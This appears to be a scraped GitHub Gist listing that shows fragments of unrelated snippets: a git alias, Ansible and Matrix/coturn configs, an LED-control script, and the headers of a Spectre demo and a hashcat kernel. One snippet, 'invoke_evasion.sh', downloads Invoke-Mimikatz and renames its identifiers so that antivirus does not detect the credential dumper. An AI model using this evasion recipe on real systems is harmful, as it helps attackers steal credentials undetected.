Skip to content

Instantly share code, notes, and snippets.

##
# Creates an alias called "git hist" that outputs a nicely formatted git log.
# Usage is just like "git log"
# Examples:
# git hist
# git hist -5
# git hist <branch_name>
# git hist <tag_name> -10
##
git config --global alias.hist "log --pretty=format:'%C(yellow)[%ad]%C(reset) %C(green)[%h]%C(reset) | %C(red)%s %C(bold red){{%an}}%C(reset) %C(blue)%d%C(reset)' --graph --date=short"
@JeanFred
JeanFred / carbon.yml
Last active January 4, 2018 23:02
Ansible role provisioning Graphite (sitting behind Nginx)
---
- name: Carbon config files
template:
src: '{{ item }}'
dest: '{{graphite_venv_path}}/conf/{{ item }}'
validate: "python -c \"import ConfigParser; config = ConfigParser.RawConfigParser(); config.read('%s')\""
with_items:
- carbon.conf
- storage-schemas.conf
- storage-aggregation.conf
#!/bin/bash
modprobe -r ec_sys
modprobe ec_sys write_support=1
on="\x8a"
off="\x0a"
led(){
echo -n -e $1 | dd of="/sys/kernel/debug/ec/ec0/io" bs=1 seek=12 count=1 conv=notrunc 2> /dev/null
@PaulSec
PaulSec / invoke_evasion.sh
Created August 1, 2017 13:50
Small script to bypass AV that triggers Invoke-Mimikatz with shitty rules
# AV Bypass to run Mimikatz
# From: https://www.blackhillsinfosec.com/?p=5555
# Server side:
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1
sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidogz/g' Invoke-Mimikatz.ps1
sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1
sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1
sed -i -e 's/DumpCreds/DumpCred/g' Invoke-Mimikatz.ps1
sed -i -e 's/ArgumentPtr/NotTodayPal/g' Invoke-Mimikatz.ps1
@ErikAugust
ErikAugust / spectre.c
Last active July 5, 2024 18:14
Spectre example code
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif
@tbiehn
tbiehn / m01415_a0.cl
Last active August 24, 2019 01:50
HashCat unoptimized OpenCL kernel for sha256(sha256($pass).$salt) (XenForo SHA-256)
/**
* Author......: See docs/credits.txt
* License.....: MIT
* 1415 sha256(sha256($pass).$salt)
KERN_TYPE_SHA256_PW_SHA256_SLT
static const char *HT_01415 = "sha256(sha256($pass).$salt)";
DISPLAY_LEN_MIN_1411 = 64 + 1 + 0,
DISPLAY_LEN_MAX_1411 = 64 + 1 + SALT_MAX,
DISPLAY_LEN_MIN_1411H = 64 + 1 + 0,
DISPLAY_LEN_MAX_1411H = 64 + 1 + (SALT_MAX * 2),
@maxidorius
maxidorius / matrix-howto-synapse_coturn.md
Last active July 17, 2024 16:34
Working config for VoIP in Matrix: synapse + coturn

This configuration is provided AS-IS and as an example/reference for those who do not find a working configuration for themselves. It is not always kept up to date and no support is provided.

Assuming:

  • Your Matrix domain: example.org
  • Your TURN domain (arbitrary): turn.example.org
  • Your Public IP: 1.2.3.4
  • Your Private IP for the box hosing the services: 10.11.12.13
  • A shared secret between synapse and coturn: ThisIsASharedSecret-ChangeMe
  • You want Firefox compatiblity (TURNS only is not supported)
#!/usr/bin/awk -f
# This program is a copy of guff, a plot device. https://github.com/silentbicycle/guff
# My copy here is written in awk instead of C, has no compelling benefit.
# Public domain. @thingskatedid
# Run as awk -v x=xyz ... or env variables for stuff?
# Assumptions: the data is evenly spaced along the x-axis
# TODO: moving average